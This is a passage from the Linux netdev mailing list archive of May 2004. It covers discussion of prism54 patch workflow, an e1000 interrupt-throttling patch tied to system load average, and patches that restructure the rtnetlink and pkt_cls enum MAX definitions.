<20040527191649.GT3330@ruslug.rutgers.edu> <200405271931.i4RJVjYB002642@turing-police.cc.vt.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200405271931.i4RJVjYB002642@turing-police.cc.vt.edu> User-Agent: Mutt/1.4.1i X-GPG-Key: 1024D/0D35BED6 X-GPG-Fingerprint: 7A37 5D79 BF1B CECA D44F 8A29 A488 39F5 0D35 BED6 X-archive-position: 5413 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: adilger@clusterfs.com Precedence: bulk X-list: netdev On May 27, 2004 15:31 -0400, Valdis.Kletnieks@vt.edu wrote: > On Thu, 27 May 2004 15:16:49 EDT, Luis R. Rodriguez said: > > --- ksrc/islpci_eth.c > > +++ ksrc-new/islpci_eth.c > > I think this was what he referred to: > > >-/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.31 2004/03 15:27:44 ajfa Exp $ > >+/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.33 2004/03/19 23:03:58 ajfa Exp $ > > as this will almost surely cause rejects (sooner or later) unless 100% of your > patches are applied and in the right order. This also causes grief if this file is ever imported again into a CVS-based SCM, unless you remember to do so with -ko. Cheers, Andreas -- Andreas Dilger http://sourceforge.net/projects/ext2resize/ http://www-mddsp.enel.ucalgary.ca/People/adilger/ From mcgrof@studorgs.rutgers.edu Thu May 27 13:04:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 13:04:16 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RK4Egi018862 for ; Thu, 27 May 2004 13:04:15 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 9669CF9D4B; Thu, 27 May 2004 16:04:14 -0400 (EDT) Date: Thu, 27 May 2004 16:04:14 -0400 To: netdev@oss.sgi.com, prism54-devel@prism54.org Subject: Re: [Prism54-devel] Re: [PATCH 0/14] prism54: bring up to sync with prism54.org cvs rep Message-ID: <20040527200414.GY3330@ruslug.rutgers.edu> Mail-Followup-To: netdev@oss.sgi.com, prism54-devel@prism54.org References: <20040524083003.GA3330@ruslug.rutgers.edu> <20040524085727.GR3330@ruslug.rutgers.edu> <40B62F29.6090101@pobox.com> <20040527192733.GB14186@logos.cnet> <40B6424D.7030203@pobox.com> <20040527194513.GV3330@ruslug.rutgers.edu> <40B647DB.4090109@pobox.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="P8euesIFFZ8+3pAQ" Content-Disposition: inline In-Reply-To: <40B647DB.4090109@pobox.com> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 5414 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --P8euesIFFZ8+3pAQ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, May 27, 2004 at 03:56:11PM -0400, Jeff Garzik wrote: > Luis R. Rodriguez wrote: > >Great. I'll fix all those patches up again for you and Marcelo. For futu= re > >development I've asked other prism54 developers to first send patches to >=20 > For what it's worth, you may send a "one big patch" to add the driver to= =20 > 2.4, since the individual changes to that point will be in 2.6.x=20 > BitKeeper changelog. Will do. My plan was for us to get the pathes for 2.6 all set. Once we were all happy and our trees in sync we'd send a large 2.4 patch for inclusion in 2.4 > Once the driver is merged, I do request split-up patches just like 2.6.x. OK. Sure thing. > >netdev for review/approval. Maybe we *should* do away with prism54-devel= =20 > >mailing list and just use netdev as was once suggested by someone... >=20 > Up to you :) I think we should. Anyone against this? Please reply or else we'll just move to netdev. Luis --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --P8euesIFFZ8+3pAQ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAtkm+at1JN+IKUl4RAvaGAKCCwbWsyuCDOdqf4DtF//PzfMFwzQCgjjZf pv8IAspFW86MdsmXVXBAHTI= =H3Sj -----END PGP SIGNATURE----- --P8euesIFFZ8+3pAQ-- From hch@lst.de Thu May 27 13:35:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 13:35:46 -0700 (PDT) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RKZZgi020089 for ; Thu, 27 May 2004 13:35:36 -0700 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i4RKZUQc022948 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 27 May 2004 22:35:30 +0200 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i4RKZT3v022946; Thu, 27 May 2004 22:35:29 +0200 Date: Thu, 27 May 2004 22:35:29 +0200 From: Christoph Hellwig To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: Re: [PATCH] several netdrivers need linux/init.h Message-ID: <20040527203529.GA22929@lst.de> References: <20040522230830.GA3380@infradead.org> <40B63E81.8020700@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <40B63E81.8020700@pobox.com> User-Agent: Mutt/1.3.28i X-Scanned-By: MIMEDefang 2.39 X-archive-position: 5415 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev On Thu, May 27, 2004 at 03:16:17PM -0400, Jeff Garzik wrote: > >@@ -22,6 +22,7 @@ > > #include > > #include > > #include > >+#include > > > > #include "farsync.h" > > > > rejected, > 1) just applied large farsync update, and > 2) patch not related to $subject Will resend with the right subject if still needed. > > #undef COSA_SLOW_IO /* for testing purposes only */ > > #undef REALLY_SLOW_IO > > patch(1) rejected right, in fact the patch to remove comx came from me earlier ;) > BTW the mailing list is "netdev@oss.sgi.com" not "linux-netdev@...". Sure. I just have the bad habbit to add typos wherever possible. From mcgrof@studorgs.rutgers.edu Thu May 27 13:50:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 13:50:40 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RKoSgi021273 for ; Thu, 27 May 2004 13:50:28 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 1915BF9D4B; Thu, 27 May 2004 16:21:08 -0400 (EDT) Date: Thu, 27 May 2004 16:21:08 -0400 To: prism54-devel@prism54.org Cc: netdev@oss.sgi.com Subject: Re: [Prism54-devel] WPA IE Attachment Message-ID: <20040527202108.GA3330@ruslug.rutgers.edu> Mail-Followup-To: prism54-devel@prism54.org, netdev@oss.sgi.com References: <00e901c443cd$4b45aa70$0cc8a8c0@navaneeth> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00e901c443cd$4b45aa70$0cc8a8c0@navaneeth> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 5416 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev On Thu, May 27, 2004 at 05:30:46PM +0800, navaneeth wrote: > Hi All, > > I have seen a problem with WPA IE attachment being discussed some time back in the mailing list. > > I am facing the same issue. > > I have done the following: > > 1. Set DOT11_OID_MLMEAUTOLEVEL to DOT11_MLME_EXTENDED > > 2. Set DOT11_OID_PRIVACYINVOKED to 1. > > 3. Set DOT11_OID_AUTHENABLE to 3 (Both). > > 4. Set DOT11_OID_DEFKEYID to 0. > > 5. Set Key Type for DOT11_OID_DEFKEY1 to 4 as TKIP. > > 6. Generated the following IE > dd 16 00 50 f2 01 01 00 00 50 f2 02 01 00 00 50 f2 02 01 00 00 50 f2 02 > > 7. Set DOT11_OID_EXUNENCRYPTED to 1. > > 8. Set DOT11_OID_DOT1XENABLE to 1. > > 9. Set DOT11_OID_ATTACHMENT > Type = 0x00 (All Management Frames) . I also tried 0x80 (Beacon Alone) > ID = 0 > Data = IE shown above > Length = 24 (Length of the above IE) > > But the attachment simply refuses to go in the Beacon. I captured the Beacons . But I failed to see the attachment. WPA has not been completed. I've started working on it. I'll reply once I get somewhere. -- GnuPG Key fingerprint = 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E From tharbaugh@lnxi.com Thu May 27 16:49:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 16:49:19 -0700 (PDT) Received: from ash.lnxi.com (208.177.141.226.ptr.us.xo.net [208.177.141.226]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RNnDgi032085 for ; Thu, 27 May 2004 16:49:13 -0700 Received: (qmail 26898 invoked from network); 27 May 2004 23:34:20 -0000 Received: from tubarao.lnxi.com (HELO ?192.168.15.106?) (192.168.15.106) by ash.lnxi.com with SMTP; 27 May 2004 23:34:20 -0000 Subject: abysmal e1000 performance (DITR) From: Thayne Harbaugh Reply-To: tharbaugh@lnxi.com To: netdev@oss.sgi.com Content-Type: text/plain Organization: Linux Networx Message-Id: <1085700138.30156.1322.camel@tubarao> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 (1.4.6-2) Date: Thu, 27 May 2004 17:22:19 -0600 Content-Transfer-Encoding: 7bit X-archive-position: 5417 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tharbaugh@lnxi.com Precedence: bulk X-list: netdev The introduction of Dynamic Interrupt Throttling Rate (DITR) in the 4.x -> 5.x e1000 driver change can cause serious performance problems. The ITR can be reduced when the system is *not* under load which results in gratuitous latencies for network traffic. In other words - why is the interrupt load reduced when the system isn't under load? This is a patch to include system load when calculating the DITR. It only allows the diff/goc ratio to factor into the DITR when the 1 minute load average is above .50. It appears to work quite well and prevents throttling when the load is below .50 and allows throttling when the load is in excess of .50. There are a few concerns. The patch requires kernel/timer.c to EXPORT_SYMBOL(avenrun) - otherwise the symbol isn't available to the driver when built as a module. This symbol "clutter" may be undesirable to some. Another concern is that NAPI accomplishes a similar interrupt load reduction and is likely a better solution than ITR. diff -ur linux-2.4.21-99/drivers/net/e1000/e1000_main.c linux-2.4.21-99-e1000/drivers/net/e1000/e1000_main.c --- linux-2.4.21-99/drivers/net/e1000/e1000_main.c 2003-09-24 05:47:33.000000000 -0700 +++ linux-2.4.21-99-e1000/drivers/net/e1000/e1000_main.c 2004-05-27 23:38:02.000000000 -0700 @@ -27,6 +27,8 @@ *******************************************************************************/ #include "e1000.h" +/* for avenrun[] */ +#include /* Change Log * @@ -1429,14 +1431,34 @@ /* Dynamic mode for Interrupt Throttle Rate (ITR) */ if(adapter->hw.mac_type >= e1000_82540 && adapter->itr == 1) { + /* fixed fractional part of .50 */ +#define FIXED_F50 (FIXED_1 >> 1) + /* This maps the range of .50-.99 -> 0-100 */ +#define FIXED_1_MAPPED (FIXED_1 - FIXED_F50) + unsigned long laf; /* load average fractional part */ + uint32_t goc; /* good octet count */ + uint32_t dif; /* dif between tx and rx goc */ + uint32_t itr; /* inturrept throttle rate */ + /* laf range is mapped: + * .00-.50 -> .00 + * .50-.99 -> .00-.99 + * 1.00+ -> 1.00 */ + if (avenrun[0] + FIXED_1/200 > FIXED_1) + laf = FIXED_1_MAPPED; + else if (avenrun[0] + FIXED_1/200 < FIXED_F50) + laf = 0; + else + laf = ((avenrun[0] + FIXED_1/2000) & (FIXED_1 - 1)) - FIXED_1_MAPPED; /* Symmetric Tx/Rx gets a reduced ITR=2000; Total * asymmetrical Tx or Rx gets ITR=8000; everyone * else is between 2000-8000. */ - uint32_t goc = (adapter->gotcl + adapter->gorcl) / 10000; - uint32_t dif = (adapter->gotcl > adapter->gorcl ? - adapter->gotcl - adapter->gorcl : - adapter->gorcl - adapter->gotcl) / 10000; - uint32_t itr = goc > 0 ? (dif * 6000 / goc + 2000) : 8000; + goc = (adapter->gotcl + adapter->gorcl) / 10000; + dif = (adapter->gotcl > adapter->gorcl ? + adapter->gotcl - adapter->gorcl : + adapter->gorcl - adapter->gotcl) / 10000; + itr = goc > 0 + ? 8000 + 6000*laf/FIXED_1_MAPPED*dif/goc - 6000*laf/FIXED_1_MAPPED + : 8000; E1000_WRITE_REG(&adapter->hw, ITR, 1000000000 / (itr * 256)); } diff -ur linux-2.4.21-99/kernel/Makefile linux-2.4.21-99-e1000/kernel/Makefile --- linux-2.4.21-99/kernel/Makefile 2003-09-24 05:47:27.000000000 -0700 +++ linux-2.4.21-99-e1000/kernel/Makefile 2004-05-26 23:45:47.000000000 -0700 @@ -11,7 +11,7 @@ export-objs = signal.o sys.o kmod.o context.o ksyms.o pm.o exec_domain.o \ printk.o cpufreq.o rcupdate.o syscall_ksyms.o fork.o hook.o \ - rashooks.o module.o + rashooks.o module.o timer.o obj-y = sched.o dma.o fork.o exec_domain.o panic.o printk.o \ module.o exit.o itimer.o info.o time.o softirq.o resource.o \ diff -ur linux-2.4.21-99/kernel/timer.c linux-2.4.21-99-e1000/kernel/timer.c --- linux-2.4.21-99/kernel/timer.c 2003-09-24 05:47:27.000000000 -0700 +++ linux-2.4.21-99-e1000/kernel/timer.c 2004-05-27 00:54:29.000000000 -0700 @@ -686,6 +686,7 @@ * all seem to differ on different machines. */ unsigned long avenrun[3]; +EXPORT_SYMBOL(avenrun); static inline void calc_load(unsigned long ticks) { -- Thayne Harbaugh Linux Networx From yoshfuji@linux-ipv6.org Thu May 27 21:47:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 21:47:41 -0700 (PDT) Received: from yue.hongo.wide.ad.jp ([203.178.140.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4S4lRgi013935 for ; Thu, 27 May 2004 21:47:27 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 293C533CE5; Fri, 28 May 2004 13:48:03 +0900 (JST) Date: Fri, 28 May 2004 13:48:02 +0900 (JST) Message-Id: <20040528.134802.953480362.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IFA_MAX sets wrong in rtnetlink.h From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040526135610.2ecaa96a.davem@redhat.com> References: <200405261319.55787.mashirle@us.ibm.com> <200405261350.39088.mashirle@us.ibm.com> <20040526135610.2ecaa96a.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on XEmacs 21.4.6 (Common Lisp) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5418 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040526135610.2ecaa96a.davem@redhat.com> (at Wed, 26 May 2004 13:56:10 -0700), "David S. Miller" says: > On Wed, 26 May 2004 13:50:39 -0700 > Shirley Ma wrote: > > > A tiny patch here for 2.6.6 kernel. > > Good catch, patch applied. BTW, how do you think of the code below to minimize diffs and risk of error when we add new item for enum? enum { : IFA_MULTICAST, __IFA_MAX }; #define IFA_MAX (__IFA_MAX - 1) ----- enum { : IFA_CACHEINFO }; #define IFA_MAX IFA_CACHEINFO enum { : IFA_CACHEINFO, /* changed to add "," */ IFA_MULTICAST /* added */ }; #define IFA_MAX IFA_MULTICAST /* changed */ --- vs --- enum { : IFA_CACHEINFO, __IFA_MAX }; #define IFA_MAX (__IFA_MAX - 1) enum { : IFA_CACHEINFO, IFA_MULTICAST, /* added */ __IFA_MAX }; #define IFA_MAX (__IFA_MAX - 1) --yoshfuji From davem@redhat.com Thu May 27 22:08:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 22:08:17 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4S584gi014997 for ; Thu, 27 May 2004 22:08:05 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4S581i5010731; Fri, 28 May 2004 01:08:01 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4S580007677; Fri, 28 May 2004 01:08:00 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4S57thk007024; Fri, 28 May 2004 01:07:55 -0400 Date: Thu, 27 May 2004 22:07:56 -0700 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH] IFA_MAX sets wrong in rtnetlink.h Message-Id: <20040527220756.7c41a55b.davem@redhat.com> In-Reply-To: <20040528.134802.953480362.yoshfuji@linux-ipv6.org> References: <200405261319.55787.mashirle@us.ibm.com> <200405261350.39088.mashirle@us.ibm.com> <20040526135610.2ecaa96a.davem@redhat.com> <20040528.134802.953480362.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4S584gi014997 X-archive-position: 5419 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 28 May 2004 13:48:02 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > enum { > : > IFA_CACHEINFO, > IFA_MULTICAST, /* added */ > __IFA_MAX > }; > > #define IFA_MAX (__IFA_MAX - 1) I like this last technique the best, one-line diffs :-) From yoshfuji@linux-ipv6.org Thu May 27 22:11:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 22:11:39 -0700 (PDT) Received: from yue.st-paulia.net ([203.178.140.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4S5BPgi015434 for ; Thu, 27 May 2004 22:11:25 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.st-paulia.net (Postfix) with ESMTP id 5610533CE5; Fri, 28 May 2004 14:12:01 +0900 (JST) Date: Fri, 28 May 2004 14:12:00 +0900 (JST) Message-Id: <20040528.141200.564308976.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IFA_MAX sets wrong in rtnetlink.h From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040527220756.7c41a55b.davem@redhat.com> References: <20040526135610.2ecaa96a.davem@redhat.com> <20040528.134802.953480362.yoshfuji@linux-ipv6.org> <20040527220756.7c41a55b.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on XEmacs 21.4.6 (Common Lisp) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5420 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040527220756.7c41a55b.davem@redhat.com> (at Thu, 27 May 2004 22:07:56 -0700), "David S. Miller" says: > On Fri, 28 May 2004 13:48:02 +0900 (JST) > YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > > > enum { > > : > > IFA_CACHEINFO, > > IFA_MULTICAST, /* added */ > > __IFA_MAX > > }; > > > > #define IFA_MAX (__IFA_MAX - 1) > > I like this last technique the best, one-line diffs :-) Ok, I'll do this. --yoshfuji From yoshfuji@linux-ipv6.org Fri May 28 02:26:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 02:26:33 -0700 (PDT) Received: from yue.st-paulia.net ([203.178.140.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4S9QRgi028463 for ; Fri, 28 May 2004 02:26:28 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.st-paulia.net (Postfix) with ESMTP id E47D333CE5; Fri, 28 May 2004 18:27:03 +0900 (JST) Date: Fri, 28 May 2004 18:27:03 +0900 (JST) Message-Id: <20040528.182703.93063703.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IFA_MAX sets wrong in rtnetlink.h From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040528.141200.564308976.yoshfuji@linux-ipv6.org> References: <20040528.134802.953480362.yoshfuji@linux-ipv6.org> <20040527220756.7c41a55b.davem@redhat.com> <20040528.141200.564308976.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-archive-position: 5422 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040528.141200.564308976.yoshfuji@linux-ipv6.org> (at Fri, 28 May 2004 14:12:00 +0900 (JST)), YOSHIFUJI Hideaki / $B5HF#1QL@(B says: > In article <20040527220756.7c41a55b.davem@redhat.com> (at Thu, 27 May 2004 22:07:56 -0700), "David S. Miller" says: > > > On Fri, 28 May 2004 13:48:02 +0900 (JST) > > YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > > > > > enum { > > > : > > > IFA_CACHEINFO, > > > IFA_MULTICAST, /* added */ > > > __IFA_MAX > > > }; > > > > > > #define IFA_MAX (__IFA_MAX - 1) > > > > I like this last technique the best, one-line diffs :-) > > Ok, I'll do this. Here's the patch for 2.4. ===== include/linux/pkt_cls.h 1.1 vs edited ===== --- 1.1/include/linux/pkt_cls.h 2002-02-06 02:39:42 +09:00 +++ edited/include/linux/pkt_cls.h 2004-05-28 17:25:08 +09:00 @@ -24,11 +24,12 @@ TCA_POLICE_RATE, TCA_POLICE_PEAKRATE, TCA_POLICE_AVRATE, - TCA_POLICE_RESULT + TCA_POLICE_RESULT, #define TCA_POLICE_RESULT TCA_POLICE_RESULT + __TCA_POLICE_MAX }; -#define TCA_POLICE_MAX TCA_POLICE_RESULT +#define TCA_POLICE_MAX (__TCA_POLICE_MAX - 1) /* U32 filters */ @@ -49,9 +50,10 @@ TCA_U32_DIVISOR, TCA_U32_SEL, TCA_U32_POLICE, + __TCA_U32_MAX }; -#define TCA_U32_MAX TCA_U32_POLICE +#define TCA_U32_MAX (__TCA_U32_MAX - 1) struct tc_u32_key { @@ -97,9 +99,10 @@ TCA_RSVP_SRC, TCA_RSVP_PINFO, TCA_RSVP_POLICE, + __TCA_RSVP_MAX }; -#define TCA_RSVP_MAX TCA_RSVP_POLICE +#define TCA_RSVP_MAX (__TCA_RSVP_MAX - 1) struct tc_rsvp_gpi { @@ -127,9 +130,10 @@ TCA_ROUTE4_FROM, TCA_ROUTE4_IIF, TCA_ROUTE4_POLICE, + __TCA_ROUTE4_MAX }; -#define TCA_ROUTE4_MAX TCA_ROUTE4_POLICE +#define TCA_ROUTE4_MAX (__TCA_ROUTE4_MAX - 1) /* FW filter */ @@ -139,9 +143,10 @@ TCA_FW_UNSPEC, TCA_FW_CLASSID, TCA_FW_POLICE, + __TCA_FW_MAX }; -#define TCA_FW_MAX TCA_FW_POLICE +#define TCA_FW_MAX (__TCA_FW_MAX - 1) /* TC index filter */ @@ -154,8 +159,9 @@ TCA_TCINDEX_FALL_THROUGH, TCA_TCINDEX_CLASSID, TCA_TCINDEX_POLICE, + __TCA_TCINDEX_MAX }; -#define TCA_TCINDEX_MAX TCA_TCINDEX_POLICE +#define TCA_TCINDEX_MAX (__TCA_TCINDEX_MAX - 1) #endif ===== include/linux/rtnetlink.h 1.11 vs edited ===== --- 1.11/include/linux/rtnetlink.h 2003-12-03 09:28:24 +09:00 +++ edited/include/linux/rtnetlink.h 2004-05-28 18:03:19 +09:00 @@ -113,9 +113,10 @@ RTN_THROW, /* Not in this table */ RTN_NAT, /* Translate this address */ RTN_XRESOLVE, /* Use external resolver */ + __RTN_MAX }; -#define RTN_MAX RTN_XRESOLVE +#define RTN_MAX (__RTN_MAX - 1) /* rtm_protocol */ @@ -178,9 +179,10 @@ /* User defined values */ RT_TABLE_DEFAULT=253, RT_TABLE_MAIN=254, - RT_TABLE_LOCAL=255 + RT_TABLE_LOCAL=255, + __RT_TABLE_MAX }; -#define RT_TABLE_MAX RT_TABLE_LOCAL +#define RT_TABLE_MAX (__RT_TABLE_MAX - 1) @@ -200,10 +202,11 @@ RTA_MULTIPATH, RTA_PROTOINFO, RTA_FLOW, - RTA_CACHEINFO + RTA_CACHEINFO, + __RTA_MAX }; -#define RTA_MAX RTA_CACHEINFO +#define RTA_MAX (__RTA_MAX - 1) #define RTM_RTA(r) ((struct rtattr*)(((char*)(r)) + NLMSG_ALIGN(sizeof(struct rtmsg)))) #define RTM_PAYLOAD(n) NLMSG_PAYLOAD(n,sizeof(struct rtmsg)) @@ -282,9 +285,10 @@ #define RTAX_ADVMSS RTAX_ADVMSS RTAX_REORDERING, #define RTAX_REORDERING RTAX_REORDERING + __RTAX_MAX }; -#define RTAX_MAX RTAX_REORDERING +#define RTAX_MAX (__RTAX_MAX - 1) @@ -309,10 +313,11 @@ IFA_LABEL, IFA_BROADCAST, IFA_ANYCAST, - IFA_CACHEINFO + IFA_CACHEINFO, + __IFA_MAX }; -#define IFA_MAX IFA_CACHEINFO +#define IFA_MAX (__IFA_MAX - 1) /* ifa_flags */ @@ -360,10 +365,11 @@ NDA_UNSPEC, NDA_DST, NDA_LLADDR, - NDA_CACHEINFO + NDA_CACHEINFO, + __NDA_MAX }; -#define NDA_MAX NDA_CACHEINFO +#define NDA_MAX (__NDA_MAX - 1) #define NDA_RTA(r) ((struct rtattr*)(((char*)(r)) + NLMSG_ALIGN(sizeof(struct ndmsg)))) #define NDA_PAYLOAD(n) NLMSG_PAYLOAD(n,sizeof(struct ndmsg)) @@ -448,10 +454,11 @@ #define IFLA_WIRELESS IFLA_WIRELESS IFLA_PROTINFO, /* Protocol specific information for a link */ #define IFLA_PROTINFO IFLA_PROTINFO + __IFLA_MAX }; -#define IFLA_MAX IFLA_PROTINFO +#define IFLA_MAX (__IFLA_MAX - 1) #define IFLA_RTA(r) ((struct rtattr*)(((char*)(r)) + NLMSG_ALIGN(sizeof(struct ifinfomsg)))) #define IFLA_PAYLOAD(n) NLMSG_PAYLOAD(n,sizeof(struct ifinfomsg)) @@ -493,9 +500,10 @@ 